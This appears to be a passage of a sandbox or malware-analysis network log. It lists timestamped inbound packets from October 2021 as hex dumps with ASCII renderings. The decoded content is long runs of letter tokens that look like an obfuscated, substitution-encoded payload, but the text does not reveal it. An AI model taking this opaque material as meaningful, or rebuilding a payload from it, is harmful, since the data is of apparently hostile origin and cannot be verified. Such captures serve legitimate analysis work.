Yr Vr Y Yr Ir NVC c IY NNV YC YI WL NYr Ir NNr NNY NCN II YV rI YC rI LI N NNW NCW C Mc rc YC Yr Wr VW NCc NCW NNV Yc LY YL cW Nc NNY NNM NCM WW YI LL YI LW IC WW NNV NNr NVr NW
2021-10-29 18:29:53 UTC	1270	IN	Data Raw: 56 4d 20 4e 4e 72 20 63 20 4e 20 72 56 20 72 49 20 4c 4c 20 59 57 20 49 59 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 72 59 20 4e 20 4e 20 59 4d 20 49 4d 20 57 43 20 63 56 20 4e 43 57 20 4e 4e 56 20 59 63 20 59 43 20 56 63 20 72 43 20 49 72 20 4e 4e 72 20 4e 4e 59 20 4e 43 4c 20 57 4e 20 63 43 20 59 43 20 4c 63 20 4c 72 20 4e 56 72 20 49 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 49 20 57 4c 20 4e 4e 20 59 43 20 59 72 20 57 72 20 4e 56 43 20 4e 4d 4e 20 4e 4e 43 20 49 63 20 56 4c 63 20 72 49 20 59 56 20 56 49 20 49 59 20 57 49 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 59 72 20 59 43 20 4c 20 4e 4e 4e 20 4e 4e 72 20 4e 4e 49 20 57 49 20 4e 4e 56 20 59 43 20 72 57 20 4c 4c 20 63 20 49 63 20 4e 4e 72 20 49 56 20 4e 43 57 20 4e 4e 56 20 59 43 20 59 59 20 59 43 20 Data Ascii: VM NNr c N rV rI LL YW IY NNM NCW NVV rY N N YM IM WC cV NCW NNV Yc YC Vc rC Ir NNr NNY NCL WN cC YC Lc Lr NVr Ir NNM NCW NNI WL NN YC Yr Wr NVC NMN NNC Ic VLc rI YV VI IY WI NNM NCW NNV YC Yr YC L NNN NNr NNI WI NNV YC rW LL c Ic NNr IV NCW NNV YC YY YC
2021-10-29 18:29:53 UTC	1271	IN	Data Raw: 56 20 59 43 20 56 4d 20 57 4c 20 56 72 49 20 49 59 20 4e 4e 72 20 4e 4e 59 20 56 20 4e 63 4e 20 59 4e 20 72 49 20 59 56 20 63 43 20 4e 4c 49 20 4e 4e 4c 20 49 4c 20 4e 4d 57 20 4e 4e 56 20 56 4c 63 20 59 4e 20 56 43 20 56 4c 56 20 49 72 20 4e 4e 63 20 57 59 20 4e 43 57 20 4e 4e 56 20 59 43 20 4e 4e 4c 20 63 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 4d 20 72 57 20 59 43 20 59 72 20 4d 63 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 49 4c 20 59 4e 20 72 49 20 59 43 20 59 4c 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 57 49 20 4e 4e 56 20 59 43 20 72 57 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 56 4e 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 72 20 59 4e 20 59 72 20 49 72 20 57 43 20 4e 4e 63 20 4e 43 57 20 4e 4e 56 20 72 57 20 72 49 20 59 43 Data Ascii: V YC VM WL VrI IY NNr NNY V NcN YN rI YV cC NLI NNL IL NMW NNV VLc YN VC VLV Ir NNc WY NCW NNV YC NNL c Yr Ir NNr NNM NCW NNV YM rW YC Yr Mc NNr NNM NCW IL YN rI YC YL Ir NNr NNM WI NNV YC rW YC Yr Ir NNr NVN NCW NNV YC rr YN Yr Ir WC NNc NCW NNV rW rI YC
2021-10-29 18:29:53 UTC	1272	IN	Data Raw: 4e 72 20 57 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 56 20 4e 4e 72 20 56 72 57 20 56 59 59 20 4e 4e 56 20 72 57 20 59 49 20 59 43 20 59 72 20 49 59 20 4e 43 59 20 63 57 20 4e 43 59 20 4e 4e 56 20 4e 4e 72 20 72 57 20 59 43 20 59 72 20 57 59 20 4e 4e 72 20 4e 4e 4d 20 4e 56 72 20 4c 20 4e 56 4e 20 72 57 20 59 43 20 72 49 20 57 72 20 4e 4e 56 20 56 63 20 59 56 20 4e 4e 56 20 59 43 20 59 49 20 57 4c 20 4e 43 57 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4e 43 56 20 4d 56 20 4e 72 59 20 72 49 20 59 43 20 59 72 20 49 4c 20 56 57 20 4e 56 56 20 4e 43 57 20 4e 4e 56 20 59 63 20 63 49 20 4c 4d 20 59 72 20 49 72 20 4e 4e 59 20 4e 56 4e 20 4e 43 4e 20 4c 4e 20 4e 4e 43 20 72 49 20 59 43 20 63 43 20 4c 49 20 56 72 4d 20 4e 4e 57 20 4e 43 57 20 Data Ascii: Nr WM NCW NNV YC rI YC Yr IV NNr VrW VYY NNV rW YI YC Yr IY NCY cW NCY NNV NNr rW YC Yr WY NNr NNM NVr L NVN rW YC rI Wr NNV Vc YV NNV YC YI WL NCW Ir NNr NVM NCV MV NrY rI YC Yr IL VW NVV NCW NNV Yc cI LM Yr Ir NNY NVN NCN LN NNC rI YC cC LI VrM NNW NCW
2021-10-29 18:29:53 UTC	1274	IN	Data Raw: 4e 4e 56 20 4c 59 20 63 4d 20 72 4c 20 59 72 20 49 72 20 4e 56 43 20 4e 56 4d 20 4e 4e 4e 20 4e 72 20 72 49 20 72 57 20 59 43 20 59 43 20 4e 4e 4c 20 57 59 20 57 49 20 4d 59 20 4e 72 20 59 4e 20 72 57 20 59 43 20 59 43 20 4e 4d 43 20 4e 4e 63 20 4e 59 4e 20 4e 43 49 20 4e 4e 56 20 59 56 20 63 4d 20 72 43 20 59 72 20 49 72 20 4e 56 43 20 49 43 20 56 4c 4d 20 4e 4e 72 20 59 4e 20 72 49 20 59 72 20 4c 43 20 49 59 20 4e 4e 72 20 4e 4e 4d 20 4d 43 20 4c 4e 20 72 63 20 72 49 20 59 43 20 63 43 20 57 59 20 4d 72 20 63 72 20 4e 43 49 20 4e 4e 56 20 59 43 20 59 59 20 57 4c 20 72 4c 20 49 72 20 4e 4e 72 20 4e 56 4d 20 57 4d 20 4e 56 43 20 72 56 20 4c 57 20 4c 4d 20 4e 49 4d 20 4e 56 20 4e 4e 72 20 4e 4e 4d 20 4e 43 49 20 49 59 20 4c 63 20 72 4d 20 72 56 20 4e 49 4d Data Ascii: NNV LY cM rL Yr Ir NVC NVM NNN Nr rI rW YC YC NNL WY WI MY Nr YN rW YC YC NMC NNc NYN NCI NNV YV cM rC Yr Ir NVC IC VLM NNr YN rI Yr LC IY NNr NNM MC LN rc rI YC cC WY Mr cr NCI NNV YC YY WL rL Ir NNr NVM WM NVC rV LW LM NIM NV NNr NNM NCI IY Lc rM rV NIM
2021-10-29 18:29:53 UTC	1275	IN	Data Raw: 4e 4c 49 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 72 43 20 59 4e 20 72 49 20 59 43 20 59 63 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4d 56 20 4e 43 57 20 4e 4e 56 20 59 43 20 56 4d 20 59 4e 20 59 72 20 49 72 20 56 63 20 4e 4e 63 20 4e 43 57 20 4e 4e 56 20 72 57 20 72 49 20 59 43 20 59 72 20 57 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 49 20 4e 4e 72 20 59 43 20 72 49 20 59 43 20 4d 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 72 56 20 4e 4e 4c 20 59 43 20 72 49 20 4d 72 20 59 59 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 56 20 72 49 20 59 43 20 59 72 20 72 56 20 4e 4e 59 20 4e 4e 4d 20 Data Ascii: NLI NNr NNM NCW rC YN rI YC Yc Ir NNr NNM NCW NNV YC rI YC Yr Ir NNr MV NCW NNV YC VM YN Yr Ir Vc NNc NCW NNV rW rI YC Yr Wr NNr NNM NCI NNr YC rI YC M Ir NNr NNM rV NNL YC rI Mr YY Ir NNr NVM NCW NNV YC rI YC Yr Ir NNr NNM NCW NNV YV rI YC Yr rV NNY NNM
2021-10-29 18:29:53 UTC	1276	IN	Data Raw: 57 43 20 63 63 20 4e 43 57 20 4e 4e 56 20 59 63 20 63 4d 20 4e 43 20 59 72 20 49 72 20 4e 56 43 20 56 63 20 4e 57 4c 20 4e 4e 56 20 59 43 20 59 72 20 57 4c 20 4e 4c 20 49 72 20 4e 4e 72 20 4e 56 4d 20 63 57 20 72 57 20 59 43 20 72 49 20 59 63 20 49 57 20 57 49 20 4e 4e 59 20 4e 4e 4d 20 4e 43 4d 20 57 4d 20 59 56 20 59 63 20 4c 59 20 59 43 20 4d 49 20 56 59 59 20 72 4d 20 4e 43 57 20 4e 4e 56 20 59 4e 20 56 4e 20 56 56 63 20 56 43 49 20 49 72 20 4e 4e 72 20 4e 4e 4c 20 63 57 20 4d 4e 20 59 43 20 72 49 20 59 63 20 63 57 20 4e 43 49 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4c 20 4c 4e 20 4e 59 49 20 72 49 20 59 43 20 72 49 20 59 57 20 4d 4c 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 57 4c 20 49 20 59 4e 20 59 72 20 49 56 20 57 57 20 4e 4e 59 20 4e 43 4e 20 57 4d 20 59 Data Ascii: WC cc NCW NNV Yc cM NC Yr Ir NVC Vc NWL NNV YC Yr WL NL Ir NNr NVM cW rW YC rI Yc IW WI NNY NNM NCM WM YV Yc LY YC MI VYY rM NCW NNV YN VN VVc VCI Ir NNr NNL cW MN YC rI Yc cW NCI NNr NNM NCL LN NYI rI YC rI YW ML NNM NCW NVV WL I YN Yr IV WW NNY NCN WM Y
2021-10-29 18:29:53 UTC	1278	IN	Data Raw: 59 72 20 49 72 20 4e 56 43 20 56 63 20 4e 4e 72 20 4e 4e 56 20 59 43 20 59 49 20 4c 72 20 59 72 20 49 63 20 4e 43 4e 20 56 72 49 20 59 59 20 4e 4e 56 20 59 43 20 72 57 20 56 4c 20 4c 56 20 4d 59 20 72 63 20 56 4c 56 20 4e 56 56 20 4c 4e 20 49 59 20 72 49 20 59 43 20 63 43 20 57 59 20 4e 4e 4d 20 4e 43 57 20 56 72 4d 20 4e 4e 43 20 4e 57 4e 20 4e 43 63 20 59 43 20 59 72 20 49 59 20 49 4d 20 4e 63 59 20 56 72 4c 20 4e 4e 56 20 59 43 20 59 56 20 56 63 20 4e 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4c 43 20 4d 56 20 59 43 20 72 49 20 59 63 20 4c 43 20 57 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4c 20 57 56 20 59 56 20 59 59 20 4c 4d 20 4e 4d 56 20 57 72 20 49 57 20 4e 4e 4c 20 4e 43 63 20 4e 43 56 20 4e 63 49 20 59 49 20 56 4c 63 20 59 4c 20 4e 4e 72 20 4e 4d 56 20 4e 4e Data Ascii: Yr Ir NVC Vc NNr NNV YC YI Lr Yr Ic NCN VrI YY NNV YC rW VL LV MY rc VLV NVV LN IY rI YC cC WY NNM NCW VrM NNC NWN NCc YC Yr IY IM NcY VrL NNV YC YV Vc N Ir NNr NVM LC MV YC rI Yc LC W NNr NNM NCL WV YV YY LM NMV Wr IW NNL NCc NCV NcI YI VLc YL NNr NMV NN
2021-10-29 18:29:53 UTC	1279	IN	Data Raw: 63 59 20 4e 63 56 20 4e 4e 56 20 59 43 20 59 56 20 56 63 20 4e 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4c 43 20 4d 56 20 59 43 20 72 49 20 59 63 20 63 49 20 72 57 20 4e 4e 4c 20 4e 4e 4d 20 56 57 20 4e 72 20 72 72 20 72 49 20 59 43 20 63 43 20 4e 56 72 20 4e 43 57 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 57 4c 20 57 56 20 59 43 20 59 72 20 57 72 20 56 57 20 72 4c 20 4e 43 57 20 4e 4e 56 20 59 63 20 4c 59 20 59 4d 20 4c 57 20 57 72 20 57 43 20 4d 4c 20 4e 43 57 20 4e 4e 56 20 59 63 20 56 57 20 57 56 20 4c 57 20 57 59 20 57 43 20 4d 4c 20 4e 43 57 20 4e 4e 56 20 59 63 20 56 57 20 49 4d 20 4c 43 20 59 56 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4c 20 57 4d 20 59 63 20 56 72 20 4e 56 4e 20 59 72 20 49 72 20 4e 56 43 20 56 63 20 4e 56 20 4e 4e 56 20 59 43 20 59 49 20 4c 4c Data Ascii: cY NcV NNV YC YV Vc N Ir NNr NVM LC MV YC rI Yc cI rW NNL NNM VW Nr rr rI YC cC NVr NCW NNM NCW NVV WL WV YC Yr Wr VW rL NCW NNV Yc LY YM LW Wr WC ML NCW NNV Yc VW WV LW WY WC ML NCW NNV Yc VW IM LC YV NNr NNM NCL WM Yc Vr NVN Yr Ir NVC Vc NV NNV YC YI LL
2021-10-29 18:29:53 UTC	1280	IN	Data Raw: 63 49 20 59 43 20 56 63 20 4c 59 20 49 72 20 4e 4e 72 20 4e 4e 59 20 4c 4e 20 49 59 20 59 72 20 72 49 20 63 63 20 4c 43 20 4e 72 4e 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4d 20 49 49 20 59 63 20 72 49 20 59 43 20 56 57 20 49 4d 20 4e 4e 49 20 56 63 20 4e 4c 4c 20 4e 4e 4c 20 59 43 20 59 72 20 56 72 20 59 72 20 4d 4e 20 63 63 20 4e 56 63 20 4e 43 57 20 57 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 4e 4e 20 49 49 20 4c 57 20 72 49 20 59 43 20 72 49 20 4c 49 20 72 59 20 4e 4e 4c 20 4e 43 57 20 43 20 56 63 20 56 4c 4c 20 59 43 20 59 72 20 49 56 20 57 43 20 4e 56 63 20 4e 43 57 20 4e 4e 56 20 56 59 20 59 4e 20 59 72 20 59 4e 20 57 43 20 4e 4e 49 20 4e 56 4c 20 4e 43 72 20 4e 56 63 20 59 56 20 63 56 20 59 4c 20 59 63 20 57 56 20 4e Data Ascii: cI YC Vc LY Ir NNr NNY LN IY Yr rI cc LC NrN NNr NNM NCM II Yc rI YC VW IM NNI Vc NLL NNL YC Yr Vr Yr MN cc NVc NCW WV YC rI YC Yr Ir NNr NNM NNN II LW rI YC rI LI rY NNL NCW C Vc VLL YC Yr IV WC NVc NCW NNV VY YN Yr YN WC NNI NVL NCr NVc YV cV YL Yc WV N
2021-10-29 18:29:53 UTC	1282	IN	Data Raw: 20 4e 49 4d 20 63 43 20 4e 4e 72 20 4e 4e 4d 20 4e 43 49 20 4e 56 59 20 59 4c 20 59 59 20 4e 49 49 20 57 59 20 4d 59 20 57 49 20 72 72 20 4e 43 4e 20 4e 43 56 20 72 59 20 4c 56 20 56 63 20 49 57 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4e 43 63 20 4e 43 56 20 59 57 20 4c 49 20 59 4c 20 4e 49 72 20 63 4e 20 4e 56 56 20 56 59 4e 20 72 20 72 4e 20 56 63 20 57 59 20 59 43 20 59 72 20 57 72 20 4e 20 4e 43 56 20 4e 43 57 20 4e 4e 56 20 59 56 20 59 4e 20 59 56 20 4c 72 20 57 4c 20 4e 56 56 20 56 63 20 4d 4d 20 4e 4e 56 20 59 43 20 59 72 20 4c 4c 20 59 43 20 4e 4c 49 20 4e 4e 57 20 49 4c 20 4e 4d 57 20 4e 4e 56 20 4c 49 20 56 63 20 4c 59 20 59 43 20 4e 56 63 20 4e 4e 72 20 4e 4e 4d 20 4e 43 49 20 57 63 20 59 43 20 72 49 20 59 43 20 59 72 20 4d 72 20 4e 4e 72 20 4e 4d Data Ascii: NIM cC NNr NNM NCI NVY YL YY NII WY MY WI rr NCN NCV rY LV Vc IW Ir NNr NVM NCc NCV YW LI YL NIr cN NVV VYN r rN Vc WY YC Yr Wr N NCV NCW NNV YV YN YV Lr WL NVV Vc MM NNV YC Yr LL YC NLI NNW IL NMW NNV LI Vc LY YC NVc NNr NNM NCI Wc YC rI YC Yr Mr NNr NM
2021-10-29 18:29:53 UTC	1283	IN	Data Raw: 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 4d 56 20 56 72 20 4d 4e 20 59 72 20 49 72 20 4e 56 43 20 4e 4e 56 20 56 20 43 20 59 43 20 72 49 20 59 63 20 63 4e 20 49 63 20 4e 4e 63 20 4d 20 56 72 43 20 4e 4e 4d 20 59 43 20 63 72 20 59 4c 20 72 57 20 56 4e 49 20 56 4d 20 57 57 20 63 57 20 4e 43 4d 20 59 43 20 72 49 20 59 56 20 56 63 20 49 56 20 4e 20 72 20 4e 43 57 20 4e 4e 56 20 59 63 20 4d 72 20 59 56 20 56 49 20 4d 4e 20 63 63 20 4e 56 4d 20 4e 43 57 20 56 72 4e 20 59 43 20 72 49 20 59 43 20 4c 59 20 49 72 20 4e 4e 72 20 4e 43 43 20 4e 4e 4e 20 4e 4e 59 20 63 72 20 4e 4c 59 20 59 59 20 59 72 20 4c 63 20 57 43 20 49 4e 20 4e 43 57 20 4e 4e 56 20 59 56 20 4c 49 20 56 63 20 63 57 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4e 43 4c 20 4e 4e 49 20 56 63 20 4d 43 20 59 43 20 Data Ascii: NNM NCW NVV MV Vr MN Yr Ir NVC NNV V C YC rI Yc cN Ic NNc M VrC NNM YC cr YL rW VNI VM WW cW NCM YC rI YV Vc IV N r NCW NNV Yc Mr YV VI MN cc NVM NCW VrN YC rI YC LY Ir NNr NCC NNN NNY cr NLY YY Yr Lc WC IN NCW NNV YV LI Vc cW Ir NNr NVM NCL NNI Vc MC YC
2021-10-29 18:29:53 UTC	1284	IN	Data Raw: 49 56 20 59 72 20 49 72 20 4e 56 43 20 4e 43 63 20 57 4d 20 56 59 4c 20 4e 43 72 20 72 49 20 59 43 20 59 59 20 4e 4e 4c 20 4e 63 56 20 4e 4c 59 20 4e 43 57 20 4e 4e 56 20 59 72 20 56 72 20 59 20 59 72 20 49 72 20 4e 56 43 20 63 20 49 59 20 4e 4e 56 20 59 43 20 59 49 20 56 63 20 49 49 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4e 4e 4e 20 4c 4e 20 63 63 20 72 49 20 59 43 20 63 43 20 49 4d 20 4e 4e 49 20 57 4c 20 4d 72 20 4e 4e 56 20 59 43 20 59 72 20 57 4c 20 49 4d 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4d 4e 20 4e 4e 56 20 59 43 20 72 4c 20 56 20 59 4c 20 49 72 20 4e 4e 4e 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 4c 4c 20 72 49 20 59 43 20 4c 57 20 49 63 20 57 72 20 4e 4e 4c 20 4e 4e 4e 20 56 59 72 20 4c 4e 20 59 56 20 4c 49 20 63 43 20 4e 4c 49 20 57 49 20 4e 4e 57 Data Ascii: IV Yr Ir NVC NCc WM VYL NCr rI YC YY NNL NcV NLY NCW NNV Yr Vr Y Yr Ir NVC c IY NNV YC YI Vc II Ir NNr NVM NNN LN cc rI YC cC IM NNI WL Mr NNV YC Yr WL IM Ir NNr NVM MN NNV YC rL V YL Ir NNN NNM NCW NNV LL rI YC LW Ic Wr NNL NNN VYr LN YV LI cC NLI WI NNW
2021-10-29 18:29:53 UTC	1285	IN	Data Raw: 56 20 4e 43 63 20 72 43 20 63 72 20 4e 56 72 20 59 56 20 63 63 20 4e 4e 63 20 72 57 20 49 72 20 56 20 57 4c 20 4d 43 20 4e 4e 56 20 59 43 20 59 49 20 59 63 20 72 57 20 63 4d 20 72 56 20 4e 56 63 20 4e 43 63 20 4e 4e 72 20 57 4c 20 4e 4d 49 20 59 43 20 59 72 20 57 72 20 4d 4d 20 4c 57 20 4e 72 63 20 4e 72 4c 20 56 43 59 20 59 72 20 56 72 20 59 72 20 49 72 20 4e 4e 72 20 4e 43 56 20 57 4c 20 4e 4e 4d 20 59 43 20 4e 4e 56 20 59 43 20 59 72 20 49 72 20 4e 43 4d 20 4e 4e 4d 20 4e 43 57 20 57 4d 20 63 59 20 4e 4d 57 20 59 43 20 59 72 20 57 72 20 4e 56 43 20 57 57 20 4e 43 56 20 57 4e 20 56 43 20 59 72 20 72 49 20 72 57 20 59 57 20 49 59 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 72 57 20 59 59 20 72 57 20 49 57 20 56 43 49 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4c 20 72 Data Ascii: V NCc rC cr NVr YV cc NNc rW Ir V WL MC NNV YC YI Yc rW cM rV NVc NCc NNr WL NMI YC Yr Wr MM LW Nrc NrL VCY Yr Vr Yr Ir NNr NCV WL NNM YC NNV YC Yr Ir NCM NNM NCW WM cY NMW YC Yr Wr NVC WW NCV WN VC Yr rI rW YW IY NNM NCW NVV rW YY rW IW VCI NNr NNM NCL r
2021-10-29 18:29:53 UTC	1287	IN	Data Raw: 20 4e 56 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4c 20 72 4e 20 43 20 59 4e 20 59 72 20 63 59 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 43 4d 20 59 43 20 72 49 20 4c 59 20 59 56 20 72 4d 20 4e 4e 56 20 4e 4e 4d 20 4e 43 57 20 4e 4e 63 20 57 4c 20 59 43 20 59 4e 20 59 72 20 49 56 20 4e 56 43 20 4e 4d 4e 20 4e 43 72 20 49 63 20 4c 63 20 59 49 20 56 4c 63 20 59 72 20 49 56 20 49 49 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 4e 20 4c 56 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 56 63 20 63 43 20 72 49 20 59 59 20 59 4d 20 49 72 20 4e 4e 72 20 4e 4e 63 20 4e 4e 49 20 63 72 20 72 49 20 72 49 20 4c 4d 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 43 20 4e 43 57 20 4e 4e 56 20 4c 59 20 59 43 20 4d 4c 20 59 56 20 49 72 20 4e 4e 72 20 4e 4e 4c 20 4e Data Ascii: NVY NNM NCW NNL rN C YN Yr cY NNr NNM NCW NCM YC rI LY YV rM NNV NNM NCW NNc WL YC YN Yr IV NVC NMN NCr Ic Lc YI VLc Yr IV II NNM NCW NNV YN LV YC Yr Ir NNr NNM NCW NVc cC rI YY YM Ir NNr NNc NNI cr rI rI LM Yr Ir NNr NNC NCW NNV LY YC ML YV Ir NNr NNL N
2021-10-29 18:29:53 UTC	1288	IN	Data Raw: 4c 20 4e 4e 59 20 4e 4e 4d 20 4e 43 4d 20 4e 56 56 20 56 4c 63 20 59 4c 20 56 43 20 4c 56 20 57 72 20 4e 4d 56 20 4e 4e 4d 20 4e 43 4d 20 57 43 20 59 43 20 72 49 20 59 4e 20 4c 49 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 63 4c 20 63 4e 20 59 72 20 49 4e 20 4e 56 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4c 20 72 4e 20 43 20 72 49 20 59 72 20 63 63 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 43 49 20 59 43 20 72 49 20 4c 59 20 59 56 20 72 4d 20 4e 4e 56 20 4e 4e 4d 20 4e 43 57 20 4e 4e 63 20 72 57 20 57 59 20 4c 63 20 59 59 20 49 72 20 4e 4e 63 20 4e 56 4d 20 4e 4d 57 20 4e 4e 4d 20 56 43 20 4c 49 20 59 63 20 56 4c 56 20 49 72 20 4e 4e 63 20 57 59 20 4e 43 57 20 4e 4e 56 20 59 4e 20 4c 56 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e Data Ascii: L NNY NNM NCM NVV VLc YL VC LV Wr NMV NNM NCM WC YC rI YN LI Ir NNr NNM NCW NNV YC cL cN Yr IN NVY NNM NCW NNL rN C rI Yr cc NNr NNM NCW NCI YC rI LY YV rM NNV NNM NCW NNc rW WY Lc YY Ir NNc NVM NMW NNM VC LI Yc VLV Ir NNc WY NCW NNV YN LV YC Yr Ir NNr NN
2021-10-29 18:29:53 UTC	1289	IN	Data Raw: 20 59 43 20 72 56 20 49 72 20 4e 4e 72 20 4e 43 43 20 4e 4e 4e 20 4e 4e 20 72 49 20 72 49 20 59 43 20 59 43 20 49 4d 20 56 57 20 4e 43 56 20 4e 43 49 20 4e 4e 56 20 59 56 20 59 49 20 56 4c 63 20 59 4e 20 4e 4e 72 20 4e 43 43 20 4e 56 4d 20 4e 4d 57 20 4e 4e 56 20 59 56 20 56 63 20 59 43 20 59 72 20 49 59 20 57 49 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 4d 20 57 4e 20 4e 4e 72 20 4e 4e 56 20 57 49 20 4e 4e 56 20 59 43 20 72 57 20 72 4e 20 63 20 49 63 20 4e 4e 72 20 57 57 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 72 20 59 43 20 59 72 20 63 57 20 4e 4e 56 20 4e 72 20 4e 4e 4e 20 4e 4e 56 20 59 43 20 59 56 20 72 57 20 49 57 20 57 72 20 4e 4e 59 20 4e 4e 4d 20 4e 43 4d 20 4e 56 56 20 56 4c 63 20 59 4c 20 56 43 20 4c 56 20 57 72 20 4e Data Ascii: YC rV Ir NNr NCC NNN NN rI rI YC YC IM VW NCV NCI NNV YV YI VLc YN NNr NCC NVM NMW NNV YV Vc YC Yr IY WI NNM NCW NNV YC rI YC YM WN NNr NNV WI NNV YC rW rN c Ic NNr WW NCW NNV YC rr YC Yr cW NNV Nr NNN NNV YC YV rW IW Wr NNY NNM NCM NVV VLc YL VC LV Wr N
2021-10-29 18:29:53 UTC	1291	IN	Data Raw: 57 63 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 43 4c 20 4e 56 4d 20 4e 4e 56 20 63 56 20 63 4c 20 59 43 20 59 72 20 49 59 20 4e 43 59 20 63 57 20 4e 4e 43 20 4e 4e 56 20 72 56 20 72 49 20 59 43 20 59 72 20 4d 57 20 4e 4e 72 20 4e 4e 4d 20 4e 56 72 20 4e 4e 72 20 4d 4c 20 59 43 20 59 43 20 59 72 20 49 43 20 4e 4e 4c 20 4e 4e 4c 20 56 20 4e 43 59 20 59 4e 20 72 49 20 59 56 20 4c 4c 20 57 72 20 4e 4d 56 20 4e 4e 56 20 4d 59 20 4e 43 56 20 59 63 20 56 4c 49 20 59 43 20 72 49 20 4e 56 63 20 4e 4e 59 20 4e 43 4e 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 63 57 20 57 57 20 4e 4e 4d 20 4e 43 72 20 4e 56 4d 20 59 43 20 72 49 20 59 4e 20 4e 56 20 49 63 20 4e 43 4e 20 56 63 20 4c 63 20 4e 4e 56 20 59 43 20 59 72 20 72 49 20 Data Ascii: Wc YC rI YC Yr Ir NNr NCL NVM NNV cV cL YC Yr IY NCY cW NNC NNV rV rI YC Yr MW NNr NNM NVr NNr ML YC YC Yr IC NNL NNL V NCY YN rI YV LL Wr NMV NNV MY NCV Yc VLI YC rI NVc NNY NCN NCW NNV YC rI YC Yr cW WW NNM NCr NVM YC rI YN NV Ic NCN Vc Lc NNV YC Yr rI
2021-10-29 18:29:53 UTC	1292	IN	Data Raw: 20 59 59 20 59 72 20 49 72 20 4e 4e 49 20 4e 4e 20 4e 43 63 20 4e 4e 56 20 59 43 20 59 56 20 56 63 20 56 4d 20 49 72 20 4e 4e 72 20 4e 4e 59 20 63 57 20 4e 57 59 20 59 4e 20 72 49 20 59 56 20 4c 57 20 57 72 20 4e 56 4d 20 4e 4e 20 4e 43 4e 20 4e 4e 56 20 59 43 20 59 56 20 56 63 20 4e 49 57 20 49 72 20 4e 4e 72 20 4e 4e 59 20 4e 56 63 20 4e 4e 63 20 56 59 20 59 49 20 4e 49 20 4e 57 43 20 4d 4e 20 4e 4e 72 20 4e 4e 4d 20 63 57 20 56 4c 57 20 59 43 20 72 49 20 59 63 20 4c 57 20 49 43 20 4e 4e 63 20 4e 56 59 20 4e 56 4d 20 4e 4e 59 20 57 4c 20 4e 49 59 20 59 43 20 59 72 20 49 56 20 57 72 20 4e 59 63 20 4e 43 43 20 57 57 20 59 59 20 4c 72 20 59 59 20 63 57 20 56 4e 63 20 4e 4e 59 20 4e 4e 4d 20 4e 43 4d 20 49 49 20 4e 72 4c 20 72 57 20 59 43 20 72 49 20 4d 43 Data Ascii: YY Yr Ir NNI NN NCc NNV YC YV Vc VM Ir NNr NNY cW NWY YN rI YV LW Wr NVM NN NCN NNV YC YV Vc NIW Ir NNr NNY NVc NNc VY YI NI NWC MN NNr NNM cW VLW YC rI Yc LW IC NNc NVY NVM NNY WL NIY YC Yr IV Wr NYc NCC WW YY Lr YY cW VNc NNY NNM NCM II NrL rW YC rI MC
